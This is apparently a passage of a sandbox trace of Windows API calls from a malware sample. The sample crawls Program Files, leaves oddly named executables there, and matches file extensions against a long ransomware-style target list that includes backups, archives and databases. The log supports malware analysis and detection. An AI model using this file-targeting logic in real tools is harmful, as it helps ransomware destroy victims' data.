	[0257.981] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1
	[0257.981] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.981] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.981] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0257.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.981] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1
	[0257.982] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.982] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0257.982] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.982] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0257.982] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.982] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfcbb0, ftCreationTime.dwHighDateTime=0x1d52d5f, ftLastAccessTime.dwLowDateTime=0x4b1b6700, ftLastAccessTime.dwHighDateTime=0x1d4dae5, ftLastWriteTime.dwLowDateTime=0x4b1b6700, ftLastWriteTime.dwHighDateTime=0x1d4dae5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="packagevolkswagen.exe", cAlternateFileName="PACKAG~1.EXE")) returned 1
	[0257.982] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.982] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0257.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.983] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf919df40, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf919df40, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.983] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d9f7a0, ftCreationTime.dwHighDateTime=0x1d52d01, ftLastAccessTime.dwLowDateTime=0x60f491a0, ftLastAccessTime.dwHighDateTime=0x1d4b975, ftLastWriteTime.dwLowDateTime=0x60f491a0, ftLastWriteTime.dwHighDateTime=0x1d4b975, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="commissioners_o_tiny.exe", cAlternateFileName="COMMIS~1.EXE")) returned 1
	[0257.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.983] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.983] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0257.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.983] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.984] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0257.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.987] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.988] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0257.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0257.993] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.993] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0257.994] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0257.994] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.994] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0257.995] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.995] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.995] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0257.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0257.997] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.997] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0257.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.998] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.998] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0257.998] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.998] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.998] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0257.998] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0257.998] lstrlenW (lpString=".1cd") returned 4
	[0257.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0257.998] lstrlenW (lpString=".3ds") returned 4
	[0257.998] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0257.998] lstrlenW (lpString=".3fr") returned 4
	[0257.998] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0257.998] lstrlenW (lpString=".3g2") returned 4
	[0257.999] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".3gp") returned 4
	[0257.999] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".7z") returned 3
	[0257.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0257.999] lstrlenW (lpString=".accda") returned 6
	[0257.999] lstrcmpiW (lpString1=".accda", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".accdb") returned 6
	[0257.999] lstrcmpiW (lpString1=".accdb", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".accdc") returned 6
	[0257.999] lstrcmpiW (lpString1=".accdc", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".accde") returned 6
	[0257.999] lstrcmpiW (lpString1=".accde", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".accdt") returned 6
	[0257.999] lstrcmpiW (lpString1=".accdt", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".accdw") returned 6
	[0257.999] lstrcmpiW (lpString1=".accdw", lpString2="ct.dll") returned -1
	[0257.999] lstrlenW (lpString=".adb") returned 4
	[0257.999] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".adp") returned 4
	[0257.999] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".ai") returned 3
	[0257.999] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0257.999] lstrlenW (lpString=".ai3") returned 4
	[0257.999] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".ai4") returned 4
	[0257.999] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".ai5") returned 4
	[0257.999] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".ai6") returned 4
	[0257.999] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0257.999] lstrlenW (lpString=".ai7") returned 4
	[0257.999] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".ai8") returned 4
	[0258.000] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".anim") returned 5
	[0258.000] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1
	[0258.000] lstrlenW (lpString=".arw") returned 4
	[0258.000] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".as") returned 3
	[0258.000] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0258.000] lstrlenW (lpString=".asa") returned 4
	[0258.000] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".asc") returned 4
	[0258.000] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".ascx") returned 5
	[0258.000] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1
	[0258.000] lstrlenW (lpString=".asm") returned 4
	[0258.000] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".asmx") returned 5
	[0258.000] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1
	[0258.000] lstrlenW (lpString=".asp") returned 4
	[0258.000] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".aspx") returned 5
	[0258.000] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1
	[0258.000] lstrlenW (lpString=".asr") returned 4
	[0258.000] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".asx") returned 4
	[0258.000] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".avi") returned 4
	[0258.000] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".avs") returned 4
	[0258.000] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0258.000] lstrlenW (lpString=".backup") returned 7
	[0258.000] lstrcmpiW (lpString1=".backup", lpString2="act.dll") returned -1
	[0258.000] lstrlenW (lpString=".bak") returned 4
	[0258.001] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".bay") returned 4
	[0258.001] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".bd") returned 3
	[0258.001] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0258.001] lstrlenW (lpString=".bin") returned 4
	[0258.001] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".bmp") returned 4
	[0258.001] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".bz2") returned 4
	[0258.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".c") returned 2
	[0258.001] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0258.001] lstrlenW (lpString=".cdr") returned 4
	[0258.001] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".cer") returned 4
	[0258.001] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".cf") returned 3
	[0258.001] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0258.001] lstrlenW (lpString=".cfc") returned 4
	[0258.001] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".cfm") returned 4
	[0258.001] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".cfml") returned 5
	[0258.001] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1
	[0258.001] lstrlenW (lpString=".cfu") returned 4
	[0258.001] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0258.001] lstrlenW (lpString=".chm") returned 4
